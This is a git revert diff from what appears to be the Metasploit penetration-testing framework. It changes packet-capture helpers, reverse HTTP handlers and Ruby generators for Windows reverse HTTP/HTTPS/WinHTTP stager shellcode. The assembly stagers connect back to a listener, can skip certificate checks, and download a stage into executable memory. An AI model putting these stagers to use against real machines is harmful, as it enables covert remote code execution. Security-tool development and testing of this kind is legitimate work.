Revert "Merge master"

This reverts commit 2056ff6899.
bug/bundler_fix
Matt Buck 2015-03-19 11:08:25 -05:00
parent 2056ff6899
commit d329a724bc
32 changed files with 365 additions and 1069 deletions

Binary file not shown.

View File

@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?) test eax,eax ; download failed? (optional?)
jz failure jz failure
mov ax, word ptr [edi] mov rax, [rdi]
add rbx, rax ; buffer += bytes_received add rbx, rax ; buffer += bytes_received
test rax,rax ; optional? test rax,rax ; optional?

View File

@ -42,7 +42,7 @@ module Msf
[ [
true, true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'8.8.8.8']), 'www.metasploit.com']),
OptPort.new('GATEWAY_PROBE_PORT', OptPort.new('GATEWAY_PROBE_PORT',
[ [
false, false,
@ -143,6 +143,7 @@ module Msf
return unless self.capture return unless self.capture
self.capture = nil self.capture = nil
self.arp_capture = nil self.arp_capture = nil
GC.start()
end end
def capture_extract_ies(raw) def capture_extract_ies(raw)
@ -162,15 +163,26 @@ module Msf
end end
# #
# Loop through each packet # This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9
# #
def each_packet def each_packet
return unless capture return unless capture
@capture_count ||= 0 begin
capture.each do |pkt| @capture_count = 0
yield(pkt) reader = framework.threads.spawn("PcapReceiver", false) do
@capture_count += 1 capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
end end
@capture_count @capture_count
end end
@ -230,9 +242,10 @@ module Msf
pcap.inject(pkt) pcap.inject(pkt)
Rex.sleep((delay * 1.0)/1000) Rex.sleep((delay * 1.0)/1000)
end end
GC.start
end end
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast # a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work # to true (this will guarantee that packets will be sent even if ARP doesn't work
# out). # out).
@ -249,20 +262,24 @@ module Msf
# The return value either be a PacketFu::Packet object, or nil # The return value either be a PacketFu::Packet object, or nil
def inject_reply(proto=:udp, pcap=self.capture) def inject_reply(proto=:udp, pcap=self.capture)
# Defaults to ~2 seconds reply = nil
to = (datastore['TIMEOUT'] * 4) / 1000.0 to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap if not pcap
begin raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
::Timeout.timeout(to) do else
pcap.each do |r| begin
packet = PacketFu::Packet.parse(r) ::Timeout.timeout(to) do
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto pcap.each do |r|
return packet packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
reply = packet
break
end
end end
rescue ::Timeout::Error
end end
rescue ::Timeout::Error
end end
nil return reply
end end
# This ascertains the correct Ethernet addresses one should use to # This ascertains the correct Ethernet addresses one should use to
@ -311,19 +328,20 @@ module Msf
end end
begin begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
::Timeout.timeout(to) do ::Timeout.timeout(to) do
loop do while (my_packet = inject_reply(:udp, self.arp_capture))
my_packet = inject_reply(:udp, self.arp_capture) if my_packet.payload == secret
next unless my_packet dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
next unless my_packet.payload == secret src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr return [dst_mac, src_mac]
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr else
return [dst_mac, src_mac] next
end
end end
end end
rescue ::Timeout::Error rescue ::Timeout::Error
# Well, that didn't work (this is common on networks where there's no gateway, like # Well, that didn't work (this common on networks where there's no gatway, like
# VMWare network interfaces. We'll need to use a fake source hardware address. # VMWare network interfaces. We'll need to use a fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end end
@ -336,31 +354,26 @@ module Msf
return self.arp_cache[:gateway] unless should_arp? target_ip return self.arp_cache[:gateway] unless should_arp? target_ip
source_ip = Rex::Socket.source_address(target_ip) source_ip = Rex::Socket.source_address(target_ip)
raise RuntimeError, "Could not access the capture process." unless self.arp_capture raise RuntimeError, "Could not access the capture process." unless self.arp_capture
p = arp_packet(target_ip, source_ip) p = arp_packet(target_ip, source_ip)
inject_eth(:eth_type => 0x0806,
# Try up to 3 times to get an ARP response :payload => p,
1.upto(3) do :pcap => self.arp_capture,
inject_eth(:eth_type => 0x0806, :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
:payload => p, )
:pcap => self.arp_capture, begin
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
) ::Timeout.timeout(to) do
begin while (my_packet = inject_reply(:arp, self.arp_capture))
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 if my_packet.arp_saddr_ip == target_ip
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:arp, self.arp_capture)
next unless my_packet
next unless my_packet.arp_saddr_ip == target_ip
self.arp_cache[target_ip] = my_packet.eth_saddr self.arp_cache[target_ip] = my_packet.eth_saddr
return self.arp_cache[target_ip] return self.arp_cache[target_ip]
else
next
end end
end end
rescue ::Timeout::Error
end end
rescue ::Timeout::Error
end end
nil
end end
# Creates a full ARP packet, mainly for use with inject_eth() # Creates a full ARP packet, mainly for use with inject_eth()

View File

@ -76,6 +76,7 @@ module Exploit::Remote::Ipv6
return if not @ipv6_icmp6_capture return if not @ipv6_icmp6_capture
@ipv6_icmp6_capture = nil @ipv6_icmp6_capture = nil
GC.start()
end end
# #

View File

@ -256,11 +256,11 @@ module ReverseHopHttp
:expiration => datastore['SessionExpirationTimeout'], :expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'], :ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'], :proxyhost => datastore['PROXYHOST'],
:proxy_port => datastore['PayloadProxyPort'], :proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PayloadProxyType'], :proxy_type => datastore['PROXY_TYPE'],
:proxy_user => datastore['PayloadProxyUser'], :proxy_username => datastore['PROXY_USERNAME'],
:proxy_pass => datastore['PayloadProxyPass'] :proxy_password => datastore['PROXY_PASSWORD']
blob = encode_stage(blob) blob = encode_stage(blob)

View File

@ -58,12 +58,18 @@ module ReverseHttp
], Msf::Handler::ReverseHttp) ], Msf::Handler::ReverseHttp)
end end
# Toggle for IPv4 vs IPv6 mode
#
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server # Determine where to bind the server
# #
# @return [String] # @return [String]
def listener_address def listener_address
if datastore['ReverseListenerBindAddress'].to_s == "" if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' bindaddr = (ipv6?) ? '::' : '0.0.0.0'
else else
bindaddr = datastore['ReverseListenerBindAddress'] bindaddr = datastore['ReverseListenerBindAddress']
end end
@ -71,12 +77,14 @@ module ReverseHttp
bindaddr bindaddr
end end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+ # @return [String] A URI of the form +scheme://host:port/+
def listener_uri def listener_uri
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address if ipv6?
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/" listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
end end
# Return a URI suitable for placing in a payload. # Return a URI suitable for placing in a payload.
@ -150,7 +158,6 @@ module ReverseHttp
'VirtualDirectory' => true) 'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
lookup_proxy_settings
end end
# #
@ -168,45 +175,6 @@ module ReverseHttp
protected protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ""
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ""
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ""
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
# #
# Parses the HTTPS request # Parses the HTTPS request
# #
@ -236,8 +204,8 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PayloadProxyHost'].blank? unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end end
@ -300,11 +268,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'], :expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'], :ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'], :proxyhost => datastore['PROXYHOST'],
:proxy_port => datastore['PayloadProxyPort'], :proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PayloadProxyType'], :proxy_type => datastore['PROXY_TYPE'],
:proxy_user => datastore['PayloadProxyUser'], :proxy_username => datastore['PROXY_USERNAME'],
:proxy_pass => datastore['PayloadProxyPass'] :proxy_password => datastore['PROXY_PASSWORD']
resp.body = encode_stage(blob) resp.body = encode_stage(blob)

View File

@ -40,11 +40,11 @@ module ReverseHttpsProxy
[ [
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]), OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"]) OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
], Msf::Handler::ReverseHttpsProxy) ], Msf::Handler::ReverseHttpsProxy)
register_advanced_options( register_advanced_options(

View File

@ -27,13 +27,7 @@ module Payload::Windows::ReverseHttp
super super
register_advanced_options( register_advanced_options(
[ [
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class) ], self.class)
end end
@ -47,8 +41,7 @@ module Payload::Windows::ReverseHttp
ssl: false, ssl: false,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_small_uri, url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
retry_count: datastore['StagerRetryCount'])
end end
conf = { conf = {
@ -56,13 +49,7 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'], exitfunk: datastore['EXITFUNC']
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_http(conf) generate_reverse_http(conf)
@ -88,7 +75,7 @@ module Payload::Windows::ReverseHttp
# #
def generate_uri def generate_uri
uri_req_len = datastore['StagerURILength'].to_i uri_req_len = datastore['HTTPStagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes # Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0 if uri_req_len == 0
@ -96,7 +83,7 @@ module Payload::Windows::ReverseHttp
end end
if uri_req_len < 5 if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5" raise ArgumentError, "Minimum HTTPStagerURILength is 5"
end end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len) "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@ -125,49 +112,23 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31 space += 31
# Proxy options?
space += 200
# The final estimated size # The final estimated size
space space
end end
# #
# Generate an assembly stub with the configured feature set and options. # Dynamic payload generation
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# #
def asm_reverse_http(opts={}) def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max #
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) # options should contain:
proxy_info = "" # ssl: (true|false)
# url: "/url_to_request"
if proxy_enabled # host: [hostname]
if opts[:proxy_type].to_s.downcase == "socks" # port: [port]
proxy_info << "socks=" # exitfunk: [process|thread|seh|sleep]
else #
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0 http_open_flags = 0
@ -192,11 +153,14 @@ module Payload::Windows::ReverseHttp
asm = %Q^ asm = %Q^
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'. ; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet: load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@ -204,108 +168,53 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack. push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" ) call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
if proxy_enabled set_retry:
asm << %Q^ push.i8 8 ; retry 8 times should be enough
internetopen: pop edi
push ebx ; DWORD dwFlags xor ebx, ebx ; push 8 zeros ([1]-[8])
push esp ; LPCTSTR lpszProxyBypass ("" = empty string) mov ecx, edi
call get_proxy_server push_zeros:
db "#{proxy_info}", 0x00 push ebx
get_proxy_server: loop push_zeros
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) internetopen:
push ebx ; LPCTSTR lpszAgent (NULL) ; DWORD dwFlags [1]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; LPCTSTR lpszProxyBypass (NULL) [2]
call ebp ; LPCTSTR lpszProxyName (NULL) [3]
^ ; DWORD dwAccessType (PRECONFIG = 0) [4]
else ; LPCTSTR lpszAgent (NULL) [5]
asm << %Q^ push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
internetopen: call ebp
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect: internetconnect:
push ebx ; DWORD_PTR dwContext (NULL) ; DWORD_PTR dwContext (NULL) [6]
push ebx ; dwFlags ; dwFlags [7]
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL) push ebx ; password (NULL)
push ebx ; username (NULL) push ebx ; username (NULL)
push #{opts[:port]} ; PORT push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00 db "#{opts[:url]}", 0x00
got_server_host: got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA) push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest: httpopenrequest:
push ebx ; dwContext (NULL) ; dwContext (NULL) [8]
push #{"0x%.8x" % http_open_flags} ; dwFlags push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types push ebx ; accept types
push ebx ; referrer push ebx ; referrer
push ebx ; version push ebx ; version
push edi ; server URI push edi ; server URI
push ebx ; method push ebx ; method
push esi ; hConnection push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp call ebp
xchg esi, eax ; save hHttpRequest in esi xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request: send_request:
^ ^
@ -320,9 +229,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp mov eax, esp
push 4 ; sizeof(dwFlags) push.i8 4 ; sizeof(dwFlags)
push eax ; &dwFlags push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp call ebp
@ -363,7 +272,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^ asm << %Q^
allocate_memory: allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us) push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is push ebx ; NULL as we dont care where the allocation is

View File

@ -40,11 +40,10 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space # Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https( return generate_reverse_https(
ssl: true,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_small_uri, url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
retry_count: datastore['StagerRetryCount']) ssl: true)
end end
conf = { conf = {
@ -52,13 +51,7 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'], exitfunk: datastore['EXITFUNC']
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_https(conf) generate_reverse_https(conf)

View File

@ -36,8 +36,7 @@ module Payload::Windows::ReverseWinHttp
ssl: false, ssl: false,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_small_uri, url: generate_small_uri)
retry_count: datastore['StagerRetryCount'])
end end
conf = { conf = {
@ -45,8 +44,7 @@ module Payload::Windows::ReverseWinHttp
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'], exitfunk: datastore['EXITFUNC']
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_winhttp(conf) generate_reverse_winhttp(conf)
@ -100,32 +98,23 @@ module Payload::Windows::ReverseWinHttp
join(",") join(",")
end end
# #
# Generate an assembly stub with the configured feature set and options. # Dynamic payload generation
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# #
def asm_reverse_winhttp(opts={}) def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] #
verify_ssl = true # options should contain:
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") # ssl: (true|false)
end # url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
http_open_flags = 0 http_open_flags = 0
@ -148,52 +137,46 @@ module Payload::Windows::ReverseWinHttp
push esp ; Push a pointer to the "winhttp" string push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" ) call ebp ; LoadLibraryA( "winhttp" )
^
if verify_ssl set_retry:
asm << %Q^ push.i8 6 ; retry 6 times
load_crypt32: pop edi
push 0x00323374 ; Push the string 'crypt32',0 xor ebx, ebx
push 0x70797263 ; ... mov ecx, edi
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end
asm << %Q^ push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
xor ebx, ebx loop push_zeros
WinHttpOpen: WinHttpOpen:
push ebx ; Flags ; Flags [5]
push ebx ; ProxyBypass (NULL) ; ProxyBypass (NULL) [4]
push ebx ; ProxyName (NULL) ; ProxyName (NULL) [3]
push ebx ; AccessType (DEFAULT_PROXY= 0) ; AccessType (DEFAULT_PROXY= 0) [2]
push ebx ; UserAgent (NULL) [1] ; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp call ebp
WinHttpConnect: WinHttpConnect:
push ebx ; Reserved (NULL) push ebx ; Reserved (NULL) [4]
push #{opts[:port]} ; Port [3] push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later server_uri: ; server_host; server_uri is saved in EDI for later
db #{encoded_url} db #{encoded_url}
got_server_host: got_server_host:
push eax ; Session handle returned by WinHttpOpen push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp call ebp
WinHttpOpenRequest: WinHttpOpenRequest:
push #{"0x%.8x" % http_open_flags} push.i32 #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL) push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handle returned by WinHttpConnect push eax ; Connect handler returned by WinHttpConnect [1]
